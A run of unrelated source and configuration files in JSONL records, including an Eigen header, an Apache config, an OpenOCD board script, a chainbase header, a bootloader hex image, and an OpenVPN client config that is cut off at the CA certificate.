*/\n template<typename OtherDerived>\n const EIGEN_CWISE_BINOP_RETURN_TYPE(internal::scalar_max_op)\n (max)(const MatrixBase<OtherDerived> &other) const\n { return EIGEN_CWISE_BINOP_RETURN_TYPE(internal::scalar_max_op)(_expression(), other.derived()); }\n\n const EIGEN_CWISE_UNOP_RETURN_TYPE(internal::scalar_abs_op) abs() const;\n const EIGEN_CWISE_UNOP_RETURN_TYPE(internal::scalar_abs2_op) abs2() const;\n const EIGEN_CWISE_UNOP_RETURN_TYPE(internal::scalar_square_op) square() const;\n const EIGEN_CWISE_UNOP_RETURN_TYPE(internal::scalar_cube_op) cube() const;\n const EIGEN_CWISE_UNOP_RETURN_TYPE(internal::scalar_inverse_op) inverse() const;\n const EIGEN_CWISE_UNOP_RETURN_TYPE(internal::scalar_sqrt_op) sqrt() const;\n const EIGEN_CWISE_UNOP_RETURN_TYPE(internal::scalar_exp_op) exp() const;\n const EIGEN_CWISE_UNOP_RETURN_TYPE(internal::scalar_log_op) log() const;\n const EIGEN_CWISE_UNOP_RETURN_TYPE(internal::scalar_cos_op) cos() const;\n const EIGEN_CWISE_UNOP_RETURN_TYPE(internal::scalar_sin_op) sin() const;\n const EIGEN_CWISE_UNOP_RETURN_TYPE(internal::scalar_pow_op) pow(const Scalar& exponent) const;\n\n const ScalarAddReturnType\n operator+(const Scalar& scalar) const;\n\n /** \\relates Cwise */\n friend const ScalarAddReturnType\n operator+(const Scalar& scalar, const Cwise& mat)\n { return mat + scalar; }\n\n ExpressionType& operator+=(const Scalar& scalar);\n\n const ScalarAddReturnType\n operator-(const Scalar& scalar) const;\n\n ExpressionType& operator-=(const Scalar& scalar);\n\n template<typename OtherDerived>\n inline ExpressionType& operator*=(const MatrixBase<OtherDerived> &other);\n\n template<typename OtherDerived>\n inline ExpressionType& operator/=(const MatrixBase<OtherDerived> &other);\n\n template<typename OtherDerived> const EIGEN_CWISE_BINOP_RETURN_TYPE(std::less)\n operator<(const MatrixBase<OtherDerived>& other) const;\n\n template<typename OtherDerived> const EIGEN_CWISE_BINOP_RETURN_TYPE(std::less_equal)\n operator<=(const MatrixBase<OtherDerived>& other) const;\n\n template<typename OtherDerived> const EIGEN_CWISE_BINOP_RETURN_TYPE(std::greater)\n operator>(const MatrixBase<OtherDerived>& other) const;\n\n template<typename OtherDerived> const EIGEN_CWISE_BINOP_RETURN_TYPE(std::greater_equal)\n operator>=(const MatrixBase<OtherDerived>& other) const;\n\n template<typename OtherDerived> const EIGEN_CWISE_BINOP_RETURN_TYPE(std::equal_to)\n operator==(const MatrixBase<OtherDerived>& other) const;\n\n template<typename OtherDerived> const EIGEN_CWISE_BINOP_RETURN_TYPE(std::not_equal_to)\n operator!=(const MatrixBase<OtherDerived>& other) const;\n\n // comparisons to a scalar value\n const EIGEN_CWISE_COMP_TO_SCALAR_RETURN_TYPE(std::less)\n operator<(Scalar s) const;\n\n const EIGEN_CWISE_COMP_TO_SCALAR_RETURN_TYPE(std::less_equal)\n operator<=(Scalar s) const;\n\n const EIGEN_CWISE_COMP_TO_SCALAR_RETURN_TYPE(std::greater)\n operator>(Scalar s) const;\n\n const EIGEN_CWISE_COMP_TO_SCALAR_RETURN_TYPE(std::greater_equal)\n operator>=(Scalar s) const;\n\n const EIGEN_CWISE_COMP_TO_SCALAR_RETURN_TYPE(std::equal_to)\n operator==(Scalar s) const;\n\n const EIGEN_CWISE_COMP_TO_SCALAR_RETURN_TYPE(std::not_equal_to)\n operator!=(Scalar s) const;\n\n // allow to extend Cwise outside Eigen\n #ifdef EIGEN_CWISE_PLUGIN\n #include EIGEN_CWISE_PLUGIN\n #endif\n\n protected:\n ExpressionTypeNested m_matrix;\n};\n\n\n/** \\returns a Cwise wrapper of *this providing additional coefficient-wise operations\n *\n * Example: \\include MatrixBase_cwise_const.cpp\n * Output: \\verbinclude MatrixBase_cwise_const.out\n *\n * \\sa class Cwise, cwise()\n */\ntemplate<typename Derived>\ninline const Cwise<Derived> MatrixBase<Derived>::cwise() const\n{\n return derived();\n}\n\n/** \\returns a Cwise wrapper of *this providing additional coefficient-wise operations\n *\n * Example: \\include MatrixBase_cwise.cpp\n * Output: \\verbinclude MatrixBase_cwise.out\n *\n * \\sa class Cwise, cwise() const\n */\ntemplate<typename Derived>\ninline Cwise<Derived> MatrixBase<Derived>::cwise()\n{\n return derived();\n}\n\n} // end namespace Eigen\n\n#endif // EIGEN_CWISE_H\n"} {"text": "<Directory />\n AllowOverride none\n Require all denied\n</Directory>\n\n<Directory \"${HOME}/#{WEBDIR}\">\n Options SymLinksIfOwnerMatch\n AllowOverride All\n Require all granted\n</Directory>\n\n<Files \".ht*\">\n Require all denied\n</Files>\n"} {"text": "# board config file for AcTux3/XBA IXP42x board\n# Date: 2010-12-16\n# Author: Michael Schwingen <michael@schwingen.org>\n\nreset_config trst_and_srst separate\n\nadapter_nsrst_delay 100\njtag_ntrst_delay 100\n\nsource [find target/ixp42x.cfg]\n\n$_TARGETNAME configure -work-area-phys 0x20000000 -work-area-size 0x10000 -work-area-backup 0\n\n$_TARGETNAME configure -event reset-init { init_actux3 }\n\nproc init_actux3 { } {\n ##########################################################################\n # setup expansion bus CS\n ##########################################################################\n mww 0xc4000000 0xbd113842 ;#CS0 : Flash, write enabled @0x50000000\n mww 0xc4000004 0x94d10013 ;#CS1\n mww 0xc4000008 0x95960003 ;#CS2\n mww 0xc400000c 0x00000000 ;#CS3\n mww 0xc4000010 0x80900003 ;#CS4\n mww 0xc4000014 0x9d520003 ;#CS5\n mww 0xc4000018 0x81860001 ;#CS6\n mww 0xc400001c 0x80900003 ;#CS7\n\n ixp42x_init_sdram $::IXP42x_SDRAM_16MB_4Mx16_1BANK 2100 3\n\n #mww 0xc4000020 0xffffee ;# CFG0: remove expansion bus boot flash mirror at 0x00000000\n\n ixp42x_set_bigendian\n\n flash probe 0\n}\n\nproc flash_boot { {FILE \"/tftpboot/actux3/u-boot.bin\"} } {\n echo \"writing bootloader: $FILE\"\n flash write_image erase $FILE 0x50000000 bin\n}\n\nset _FLASHNAME $_CHIPNAME.flash\nflash bank $_FLASHNAME cfi 0x50000000 0x400000 2 2 $_TARGETNAME\n\ninit\nreset init\n\n# setup to debug u-boot in flash\nproc uboot_debug {} {\n gdb_breakpoint_override hard\n xscale vector_catch 0xFF\n\n xscale vector_table low 1 0xe59ff018\n xscale vector_table low 2 0xe59ff018\n xscale vector_table low 3 0xe59ff018\n xscale vector_table low 4 0xe59ff018\n xscale vector_table low 5 0xe59ff018\n xscale vector_table low 6 0xe59ff018\n xscale vector_table low 7 0xe59ff018\n\n xscale vector_table high 1 0xe59ff018\n xscale vector_table high 2 0xe59ff018\n xscale vector_table high 3 0xe59ff018\n xscale vector_table high 4 0xe59ff018\n xscale vector_table high 5 0xe59ff018\n xscale vector_table high 6 0xe59ff018\n xscale vector_table high 7 0xe59ff018\n}\n"} {"text": "#pragma once\n\n#include <boost/interprocess/managed_mapped_file.hpp>\n#include <boost/interprocess/containers/map.hpp>\n#include <boost/interprocess/containers/set.hpp>\n#include <boost/interprocess/containers/flat_map.hpp>\n#include <boost/interprocess/containers/deque.hpp>\n#include <boost/interprocess/containers/string.hpp>\n#include <boost/interprocess/containers/vector.hpp>\n#include <boost/interprocess/allocators/allocator.hpp>\n#include <boost/interprocess/sync/interprocess_sharable_mutex.hpp>\n#include <boost/interprocess/sync/sharable_lock.hpp>\n#include <boost/interprocess/sync/file_lock.hpp>\n\n#include <boost/thread.hpp>\n#include <boost/thread/locks.hpp>\n\n#include <type_traits>\n\nnamespace chainbase {\n\n namespace bip = boost::interprocess;\n\n #ifdef ENABLE_MIRA\n template< typename T >\n using allocator = std::allocator< T >;\n\n typedef boost::shared_mutex read_write_mutex;\n typedef boost::shared_lock< read_write_mutex > read_lock;\n #else\n template< typename T >\n using allocator = bip::allocator<T, bip::managed_mapped_file::segment_manager>;\n\n typedef boost::interprocess::interprocess_sharable_mutex read_write_mutex;\n typedef boost::interprocess::sharable_lock< read_write_mutex > read_lock;\n #endif\n\n typedef boost::unique_lock< read_write_mutex > write_lock;\n\n #ifdef ENABLE_MIRA\n #define _ENABLE_MIRA 1\n #else\n #define _ENABLE_MIRA 0\n #endif\n\n using shared_string = std::conditional< _ENABLE_MIRA,\n std::string,\n bip::basic_string< char, std::char_traits< char >, allocator< char > >\n >::type;\n\n template<typename T>\n using t_vector = typename std::conditional< _ENABLE_MIRA,\n boost::container::vector<T, allocator<T> >,\n bip::vector<T, allocator<T> >\n >::type;\n\n template< typename FIRST_TYPE, typename SECOND_TYPE >\n using t_pair = std::pair< FIRST_TYPE, SECOND_TYPE >;\n\n template< typename FIRST_TYPE, typename SECOND_TYPE >\n using t_allocator_pair = allocator< t_pair< const FIRST_TYPE, SECOND_TYPE > >;\n\n template< typename KEY_TYPE, typename VALUE_TYPE, typename LESS_FUNC = std::less<KEY_TYPE>>\n using t_flat_map = typename std::conditional< _ENABLE_MIRA,\n boost::container::flat_map< KEY_TYPE, VALUE_TYPE, LESS_FUNC, allocator< t_pair< KEY_TYPE, VALUE_TYPE > > >,\n bip::flat_map< KEY_TYPE, VALUE_TYPE, LESS_FUNC, allocator< t_pair< KEY_TYPE, VALUE_TYPE > > >\n >::type;\n\n template< typename T >\n using t_deque = typename std::conditional< _ENABLE_MIRA,\n boost::container::deque< T, allocator< T > >,\n bip::deque< T, allocator< T > >\n >::type;\n}\n"} {"text": "{\n \"images\" : [\n {\n \"idiom\" : \"iphone\",\n \"size\" : \"29x29\",\n \"scale\" : \"2x\"\n },\n {\n \"idiom\" : \"iphone\",\n \"size\" : \"29x29\",\n \"scale\" : \"3x\"\n },\n {\n \"idiom\" : \"iphone\",\n \"size\" : \"40x40\",\n \"scale\" : \"2x\"\n },\n {\n \"idiom\" : \"iphone\",\n \"size\" : \"40x40\",\n \"scale\" : \"3x\"\n },\n {\n \"idiom\" : \"iphone\",\n \"size\" : \"60x60\",\n \"scale\" : \"2x\"\n },\n {\n \"idiom\" : \"iphone\",\n \"size\" : \"60x60\",\n \"scale\" : \"3x\"\n },\n {\n \"idiom\" : \"ipad\",\n \"size\" : \"29x29\",\n \"scale\" : \"1x\"\n },\n {\n \"idiom\" : \"ipad\",\n \"size\" : \"29x29\",\n \"scale\" : \"2x\"\n },\n {\n \"idiom\" : \"ipad\",\n \"size\" : \"40x40\",\n \"scale\" : \"1x\"\n },\n {\n \"idiom\" : \"ipad\",\n \"size\" : \"40x40\",\n \"scale\" : \"2x\"\n },\n {\n \"idiom\" : \"ipad\",\n \"size\" : \"76x76\",\n \"scale\" : \"1x\"\n },\n {\n \"idiom\" : \"ipad\",\n \"size\" : \"76x76\",\n \"scale\" : \"2x\"\n }\n ],\n \"info\" : {\n \"version\" : 1,\n \"author\" : \"xcode\"\n }\n}"} {"text": "# Absolut path to the keymap which should be loaded using loadkmap.\n#KEYMAP=\"/usr/share/keymaps/xkb/us.map.gz\"\n"} {"text": "/*\n * Licensed to the Apache Software Foundation (ASF) under one\n * or more contributor license agreements. See the NOTICE file\n * distributed with this work for additional information\n * regarding copyright ownership. The ASF licenses this file\n * to you under the Apache License, Version 2.0 (the\n * \"License\"); you may not use this file except in compliance\n * with the License. You may obtain a copy of the License at\n *\n * http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing,\n * software distributed under the License is distributed on an\n * \"AS IS\" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY\n * KIND, either express or implied. See the License for the\n * specific language governing permissions and limitations\n * under the License.\n */\n\npackage org.netbeans.modules.xml.axi.datatype;\n\n/**\n * This class represents NcNameTypeImpl. This is one of those atomic types that can\n * be used to type an Attribute or leaf Elements in AXI Model\n *\n *\n * @author Ayub Khan\n */\npublic class IdRefType extends NameType {\n \n /**\n * Creates a new instance of NcNameTypeImpl\n */\n public IdRefType() {\n super(Datatype.Kind.IDREF);\n }\n \n /**\n * Creates a new instance of derived of NcNameTypeImpl\n */\n public IdRefType(Datatype.Kind kind) {\n super(kind);\n }\n}\n"} {"text": ":101E000001C0B2C011248FE594E09EBF8DBF84B79E\r\n:101E1000882361F0982F9A70923041F081FF02C0C0\r\n:101E200097EF94BF282E80E0BAD0EAC085E08EBD3F\r\n:101E300082E08BB988E18AB986E880BD8BE989B9EF\r\n:101E40008EE0ADD0BD9A84E028E43AEF44E050E261\r\n:101E50003DBD2CBD48BF08B602FEFDCF98B3952707\r\n:101E600098BBA8955F9902C0815091F791D08134B9\r\n:101E700079F48ED0182F97D0123811F480E004C076\r\n:101E800088E0113809F083E07FD080E17DD0EECF8B\r\n:101E9000823419F484E18FD0F8CF853411F485E0D1\r\n:101EA000FACF853541F474D0C82F72D0D82FCC0F1B\r\n:101EB000DD1F79D0EACF863519F484E07CD0DECFFF\r\n:101EC000843699F565D064D0182F62D0D82E012FB2\r\n:101ED00090E6E92EF12C57018FEFA81AB80A58D0D6\r\n:101EE000F701808301507501B1F75DD0F5E4DF1291\r\n:101EF00001C0FFCF50E040E063E0CE0135D07E016D\r\n:101F000080E6C82ED12CF601419151916F0161E01C\r\n:101F1000C7012AD0F2E0EF0EF11C1250A1F750E0F9\r\n:101F200040E065E0CE0120D0B0CF843771F430D0EE\r\n:101F30002FD0F82E2DD037D08E01F80185918F014A\r\n:101F400023D0FA94F110F9CFA0CF853739F42BD0F4\r\n:101F50008EE11AD083E918D087E096CF813509F059\r\n:101F6000A8CF88E01CD0A5CFFC010A0167BFE89587\r\n:101F7000112407B600FCFDCF667029F0452B19F43B\r\n:101F800081E187BFE89508955D9BFECF8CB90895E8\r\n:101F90005F9BFECF5C9901C0A8958CB1089598E134\r\n:101FA00091BD81BD0895F4DF803219F088E0F7DF3C\r\n:101FB000FFCF84E1E9CFCF93C82FEADFC150E9F723\r\n:041FC000CF91F1CFFD\r\n:021FFE000008D9\r\n:0400000300001E00DB\r\n:00000001FF\r\n"} {"text": "$NetBSD: distinfo,v 1.8 2016/05/15 08:32:31 wen Exp $\n\nSHA1 (Moose-Autobox-0.16.tar.gz) = 26a44cb374485d41232f42b7c459056a44951d4e\nRMD160 (Moose-Autobox-0.16.tar.gz) = 16258023f8ba0cba4ac798c4f380674bbda4933d\nSHA512 (Moose-Autobox-0.16.tar.gz) = 7126de94e5c58c91e80eac5928b128e07314abfa3668c4b6655eaea61fcda53a0e761b2e0dd10052c24fc4e77c09eb4784afe59e9539a2866ad37aae2b37ae5e\nSize (Moose-Autobox-0.16.tar.gz) = 42604 bytes\n"} {"text": "T0\tsegment 0 5\tMinsk\nT1\tsegment 6 7\t,\nT2\tsegment 8 12\twhen\nT3\tsegment 13 15\tit\nT4\tsegment 16 19\twas\nT5\tsegment 20 25\tnoted\nT6\tsegment 26 28\tas\nT7\tsegment 29 30\ta\nT8\tsegment 31 41\tprovincial\nT9\tsegment 42 46\tcity\nT10\tsegment 47 53\twithin\nT11\tsegment 54 57\tthe\nT12\tsegment 58 70\tprincipality\nT13\tsegment 71 73\tof\nT14\tsegment 74 81\tPolotsk\nT15\tsegment 82 83\t.\nR0\ts_p Arg1:T3 Arg2:T5\nR1\tcompound Arg1:T5 Arg2:T4\nR2\tp_c Arg1:T5 Arg2:T6\nR3\tp_c Arg1:T5 Arg2:T10\nR4\tp_c Arg1:T5 Arg2:T2\nR5\tc_co Arg1:T6 Arg2:T9\nR6\tis-specialized-by Arg1:T9 Arg2:T8\nR7\tc_co Arg1:T10 Arg2:T12\nR8\tis-specialized-by Arg1:T12 Arg2:T13\nR9\tc_co Arg1:T13 Arg2:T14\n"} {"text": "/home/ksw/develop/ijkplayer-android/android/ijkplayer/ijkplayer-armv5/src/main/obj/local/armeabi/objs/ijkplayer/ijkavformat/ijklongurl.o: \\\n /home/ksw/develop/ijkplayer-android/android/ijkplayer/ijkplayer-armv5/src/main/jni/ijkmedia/ijkplayer/ijkavformat/ijklongurl.c \\\n /home/ksw/develop/android-ndk-r14b/sources/cxx-stl/stlport/stlport/assert.h \\\n /home/ksw/develop/android-ndk-r14b/sources/cxx-stl/stlport/stlport/stl/_cprolog.h \\\n /home/ksw/develop/android-ndk-r14b/sources/cxx-stl/stlport/stlport/stl/config/features.h \\\n /home/ksw/develop/android-ndk-r14b/sources/cxx-stl/stlport/stlport/stl/_stlport_version.h \\\n /home/ksw/develop/android-ndk-r14b/sources/cxx-stl/stlport/stlport/stl/config/user_config.h \\\n /home/ksw/develop/android-ndk-r14b/sources/cxx-stl/stlport/stlport/stl/config/compat.h \\\n /home/ksw/develop/android-ndk-r14b/sources/cxx-stl/stlport/stlport/stl/config/host.h \\\n /home/ksw/develop/android-ndk-r14b/sources/cxx-stl/stlport/stlport/stl/config/_system.h \\\n /home/ksw/develop/android-ndk-r14b/sources/cxx-stl/stlport/stlport/stl/config/_android.h \\\n /home/ksw/develop/android-ndk-r14b/sources/cxx-stl/stlport/stlport/stl/config/_gcc.h \\\n /home/ksw/develop/android-ndk-r14b/sources/cxx-stl/stlport/stlport/stl/config/stl_confix.h \\\n /home/ksw/develop/android-ndk-r14b/sources/cxx-stl/stlport/stlport/stl/config/_native_headers.h \\\n /home/ksw/develop/android-ndk-r14b/sources/cxx-stl/stlport/stlport/stl/_epilog.h \\\n /home/ksw/develop/android-ndk-r14b/sources/cxx-stl/stlport/stlport/stl/_config_compat_post.h \\\n /home/ksw/develop/ijkplayer-android/android/contrib/build/ffmpeg-armv5/output/include/libavformat/avformat.h \\\n /home/ksw/develop/android-ndk-r14b/sources/cxx-stl/stlport/stlport/time.h \\\n /home/ksw/develop/android-ndk-r14b/sources/cxx-stl/stlport/stlport/stdio.h \\\n /home/ksw/develop/ijkplayer-android/android/contrib/build/ffmpeg-armv5/output/include/libavcodec/avcodec.h \\\n /home/ksw/develop/android-ndk-r14b/sources/cxx-stl/stlport/stlport/errno.h \\\n /home/ksw/develop/ijkplayer-android/android/contrib/build/ffmpeg-armv5/output/include/libavutil/samplefmt.h \\\n /home/ksw/develop/ijkplayer-android/android/contrib/build/ffmpeg-armv5/output/include/libavutil/avutil.h \\\n /home/ksw/develop/ijkplayer-android/android/contrib/build/ffmpeg-armv5/output/include/libavutil/common.h \\\n /home/ksw/develop/android-ndk-r14b/sources/cxx-stl/stlport/stlport/limits.h \\\n /home/ksw/develop/android-ndk-r14b/sources/cxx-stl/stlport/stlport/math.h \\\n /home/ksw/develop/android-ndk-r14b/sources/cxx-stl/stlport/stlport/stdlib.h \\\n /home/ksw/develop/ijkplayer-android/android/contrib/build/ffmpeg-armv5/output/include/libavutil/attributes.h \\\n /home/ksw/develop/ijkplayer-android/android/contrib/build/ffmpeg-armv5/output/include/libavutil/macros.h \\\n /home/ksw/develop/ijkplayer-android/android/contrib/build/ffmpeg-armv5/output/include/libavutil/version.h \\\n /home/ksw/develop/ijkplayer-android/android/contrib/build/ffmpeg-armv5/output/include/libavutil/avconfig.h \\\n /home/ksw/develop/ijkplayer-android/android/contrib/build/ffmpeg-armv5/output/include/libavutil/mem.h \\\n /home/ksw/develop/ijkplayer-android/android/contrib/build/ffmpeg-armv5/output/include/libavutil/error.h \\\n /home/ksw/develop/ijkplayer-android/android/contrib/build/ffmpeg-armv5/output/include/libavutil/rational.h \\\n /home/ksw/develop/ijkplayer-android/android/contrib/build/ffmpeg-armv5/output/include/libavutil/mathematics.h \\\n /home/ksw/develop/ijkplayer-android/android/contrib/build/ffmpeg-armv5/output/include/libavutil/intfloat.h \\\n /home/ksw/develop/ijkplayer-android/android/contrib/build/ffmpeg-armv5/output/include/libavutil/log.h \\\n /home/ksw/develop/ijkplayer-android/android/contrib/build/ffmpeg-armv5/output/include/libavutil/pixfmt.h \\\n /home/ksw/develop/ijkplayer-android/android/contrib/build/ffmpeg-armv5/output/include/libavutil/attributes.h \\\n /home/ksw/develop/ijkplayer-android/android/contrib/build/ffmpeg-armv5/output/include/libavutil/avutil.h \\\n /home/ksw/develop/ijkplayer-android/android/contrib/build/ffmpeg-armv5/output/include/libavutil/buffer.h \\\n /home/ksw/develop/ijkplayer-android/android/contrib/build/ffmpeg-armv5/output/include/libavutil/cpu.h \\\n /home/ksw/develop/ijkplayer-android/android/contrib/build/ffmpeg-armv5/output/include/libavutil/channel_layout.h \\\n /home/ksw/develop/ijkplayer-android/android/contrib/build/ffmpeg-armv5/output/include/libavutil/dict.h \\\n /home/ksw/develop/ijkplayer-android/android/contrib/build/ffmpeg-armv5/output/include/libavutil/frame.h \\\n /home/ksw/develop/ijkplayer-android/android/contrib/build/ffmpeg-armv5/output/include/libavutil/buffer.h \\\n /home/ksw/develop/ijkplayer-android/android/contrib/build/ffmpeg-armv5/output/include/libavutil/dict.h \\\n /home/ksw/develop/ijkplayer-android/android/contrib/build/ffmpeg-armv5/output/include/libavutil/samplefmt.h \\\n /home/ksw/develop/ijkplayer-android/android/contrib/build/ffmpeg-armv5/output/include/libavutil/log.h \\\n /home/ksw/develop/ijkplayer-android/android/contrib/build/ffmpeg-armv5/output/include/libavutil/pixfmt.h \\\n /home/ksw/develop/ijkplayer-android/android/contrib/build/ffmpeg-armv5/output/include/libavutil/rational.h \\\n /home/ksw/develop/ijkplayer-android/android/contrib/build/ffmpeg-armv5/output/include/libavcodec/version.h \\\n /home/ksw/develop/ijkplayer-android/android/contrib/build/ffmpeg-armv5/output/include/libavutil/version.h \\\n /home/ksw/develop/ijkplayer-android/android/contrib/build/ffmpeg-armv5/output/include/libavformat/avio.h \\\n /home/ksw/develop/ijkplayer-android/android/contrib/build/ffmpeg-armv5/output/include/libavutil/common.h \\\n /home/ksw/develop/ijkplayer-android/android/contrib/build/ffmpeg-armv5/output/include/libavformat/version.h \\\n /home/ksw/develop/ijkplayer-android/android/contrib/build/ffmpeg-armv5/output/include/libavformat/url.h \\\n /home/ksw/develop/ijkplayer-android/android/contrib/build/ffmpeg-armv5/output/include/libavutil/avstring.h \\\n /home/ksw/develop/ijkplayer-android/android/contrib/build/ffmpeg-armv5/output/include/libavutil/opt.h\n\n/home/ksw/develop/android-ndk-r14b/sources/cxx-stl/stlport/stlport/assert.h:\n\n/home/ksw/develop/android-ndk-r14b/sources/cxx-stl/stlport/stlport/stl/_cprolog.h:\n\n/home/ksw/develop/android-ndk-r14b/sources/cxx-stl/stlport/stlport/stl/config/features.h:\n\n/home/ksw/develop/android-ndk-r14b/sources/cxx-stl/stlport/stlport/stl/_stlport_version.h:\n\n/home/ksw/develop/android-ndk-r14b/sources/cxx-stl/stlport/stlport/stl/config/user_config.h:\n\n/home/ksw/develop/android-ndk-r14b/sources/cxx-stl/stlport/stlport/stl/config/compat.h:\n\n/home/ksw/develop/android-ndk-r14b/sources/cxx-stl/stlport/stlport/stl/config/host.h:\n\n/home/ksw/develop/android-ndk-r14b/sources/cxx-stl/stlport/stlport/stl/config/_system.h:\n\n/home/ksw/develop/android-ndk-r14b/sources/cxx-stl/stlport/stlport/stl/config/_android.h:\n\n/home/ksw/develop/android-ndk-r14b/sources/cxx-stl/stlport/stlport/stl/config/_gcc.h:\n\n/home/ksw/develop/android-ndk-r14b/sources/cxx-stl/stlport/stlport/stl/config/stl_confix.h:\n\n/home/ksw/develop/android-ndk-r14b/sources/cxx-stl/stlport/stlport/stl/config/_native_headers.h:\n\n/home/ksw/develop/android-ndk-r14b/sources/cxx-stl/stlport/stlport/stl/_epilog.h:\n\n/home/ksw/develop/android-ndk-r14b/sources/cxx-stl/stlport/stlport/stl/_config_compat_post.h:\n\n/home/ksw/develop/ijkplayer-android/android/contrib/build/ffmpeg-armv5/output/include/libavformat/avformat.h:\n\n/home/ksw/develop/android-ndk-r14b/sources/cxx-stl/stlport/stlport/time.h:\n\n/home/ksw/develop/android-ndk-r14b/sources/cxx-stl/stlport/stlport/stdio.h:\n\n/home/ksw/develop/ijkplayer-android/android/contrib/build/ffmpeg-armv5/output/include/libavcodec/avcodec.h:\n\n/home/ksw/develop/android-ndk-r14b/sources/cxx-stl/stlport/stlport/errno.h:\n\n/home/ksw/develop/ijkplayer-android/android/contrib/build/ffmpeg-armv5/output/include/libavutil/samplefmt.h:\n\n/home/ksw/develop/ijkplayer-android/android/contrib/build/ffmpeg-armv5/output/include/libavutil/avutil.h:\n\n/home/ksw/develop/ijkplayer-android/android/contrib/build/ffmpeg-armv5/output/include/libavutil/common.h:\n\n/home/ksw/develop/android-ndk-r14b/sources/cxx-stl/stlport/stlport/limits.h:\n\n/home/ksw/develop/android-ndk-r14b/sources/cxx-stl/stlport/stlport/math.h:\n\n/home/ksw/develop/android-ndk-r14b/sources/cxx-stl/stlport/stlport/stdlib.h:\n\n/home/ksw/develop/ijkplayer-android/android/contrib/build/ffmpeg-armv5/output/include/libavutil/attributes.h:\n\n/home/ksw/develop/ijkplayer-android/android/contrib/build/ffmpeg-armv5/output/include/libavutil/macros.h:\n\n/home/ksw/develop/ijkplayer-android/android/contrib/build/ffmpeg-armv5/output/include/libavutil/version.h:\n\n/home/ksw/develop/ijkplayer-android/android/contrib/build/ffmpeg-armv5/output/include/libavutil/avconfig.h:\n\n/home/ksw/develop/ijkplayer-android/android/contrib/build/ffmpeg-armv5/output/include/libavutil/mem.h:\n\n/home/ksw/develop/ijkplayer-android/android/contrib/build/ffmpeg-armv5/output/include/libavutil/error.h:\n\n/home/ksw/develop/ijkplayer-android/android/contrib/build/ffmpeg-armv5/output/include/libavutil/rational.h:\n\n/home/ksw/develop/ijkplayer-android/android/contrib/build/ffmpeg-armv5/output/include/libavutil/mathematics.h:\n\n/home/ksw/develop/ijkplayer-android/android/contrib/build/ffmpeg-armv5/output/include/libavutil/intfloat.h:\n\n/home/ksw/develop/ijkplayer-android/android/contrib/build/ffmpeg-armv5/output/include/libavutil/log.h:\n\n/home/ksw/develop/ijkplayer-android/android/contrib/build/ffmpeg-armv5/output/include/libavutil/pixfmt.h:\n\n/home/ksw/develop/ijkplayer-android/android/contrib/build/ffmpeg-armv5/output/include/libavutil/attributes.h:\n\n/home/ksw/develop/ijkplayer-android/android/contrib/build/ffmpeg-armv5/output/include/libavutil/avutil.h:\n\n/home/ksw/develop/ijkplayer-android/android/contrib/build/ffmpeg-armv5/output/include/libavutil/buffer.h:\n\n/home/ksw/develop/ijkplayer-android/android/contrib/build/ffmpeg-armv5/output/include/libavutil/cpu.h:\n\n/home/ksw/develop/ijkplayer-android/android/contrib/build/ffmpeg-armv5/output/include/libavutil/channel_layout.h:\n\n/home/ksw/develop/ijkplayer-android/android/contrib/build/ffmpeg-armv5/output/include/libavutil/dict.h:\n\n/home/ksw/develop/ijkplayer-android/android/contrib/build/ffmpeg-armv5/output/include/libavutil/frame.h:\n\n/home/ksw/develop/ijkplayer-android/android/contrib/build/ffmpeg-armv5/output/include/libavutil/buffer.h:\n\n/home/ksw/develop/ijkplayer-android/android/contrib/build/ffmpeg-armv5/output/include/libavutil/dict.h:\n\n/home/ksw/develop/ijkplayer-android/android/contrib/build/ffmpeg-armv5/output/include/libavutil/samplefmt.h:\n\n/home/ksw/develop/ijkplayer-android/android/contrib/build/ffmpeg-armv5/output/include/libavutil/log.h:\n\n/home/ksw/develop/ijkplayer-android/android/contrib/build/ffmpeg-armv5/output/include/libavutil/pixfmt.h:\n\n/home/ksw/develop/ijkplayer-android/android/contrib/build/ffmpeg-armv5/output/include/libavutil/rational.h:\n\n/home/ksw/develop/ijkplayer-android/android/contrib/build/ffmpeg-armv5/output/include/libavcodec/version.h:\n\n/home/ksw/develop/ijkplayer-android/android/contrib/build/ffmpeg-armv5/output/include/libavutil/version.h:\n\n/home/ksw/develop/ijkplayer-android/android/contrib/build/ffmpeg-armv5/output/include/libavformat/avio.h:\n\n/home/ksw/develop/ijkplayer-android/android/contrib/build/ffmpeg-armv5/output/include/libavutil/common.h:\n\n/home/ksw/develop/ijkplayer-android/android/contrib/build/ffmpeg-armv5/output/include/libavformat/version.h:\n\n/home/ksw/develop/ijkplayer-android/android/contrib/build/ffmpeg-armv5/output/include/libavformat/url.h:\n\n/home/ksw/develop/ijkplayer-android/android/contrib/build/ffmpeg-armv5/output/include/libavutil/avstring.h:\n\n/home/ksw/develop/ijkplayer-android/android/contrib/build/ffmpeg-armv5/output/include/libavutil/opt.h:\n"} {"text": "client\ndev tun\nproto udp\nremote ae1.vpn.giganews.com 1194\nresolv-retry infinite\nnobind\npersist-key\npersist-tun\npersist-remote-ip\nverify-x509-name ae1.vpn.giganews.com name\nauth-user-pass /config/openvpn-credentials.txt\nauth-nocache\ncomp-lzo\nverb 3\n\n<ca>\n-----BEGIN 